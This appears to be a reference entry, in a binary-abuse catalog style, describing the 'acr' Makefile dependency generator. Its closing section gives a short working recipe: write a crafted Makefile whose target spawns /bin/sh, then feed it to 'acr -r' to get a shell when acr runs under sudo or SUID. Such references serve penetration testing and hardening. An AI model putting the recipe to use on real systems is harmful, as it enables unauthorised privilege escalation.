Automatic Makefile dependency generator that can execute arbitrary commands through Makefile rules.
acr {r} 📎 r acr {r}Sandbox: execFile · Timeout: 30s
security.execution.command security.privilege-escalation.shell | Name | Type | Required | Default | Description | Aliases |
|---|---|---|---|---|---|
r | string | No | - | Set the -r parameter | -r |
Inputs
system.file.path Path to Makefile fragment
Outputs
process.output Command execution output
process_spawnfilesystem_write Produces
process.outputConsumes
system.file.path| Resource | Value |
|---|---|
| CPU | low |
| Memory | 8 MB |
| Network | low |
| Disk I/O | low |
Execute arbitrary command via crafted Makefile
echo -e 'x:\n\t/bin/sh 1>&0 2>&0' >/path/to/temp-file
chmod +x /path/to/temp-file
acr -r ./relative/path/to/temp-fileacr generates Makefile dependencies. It can be abused to execute arbitrary commands when used with sudo or SUID by crafting a Makefile with a shell command target.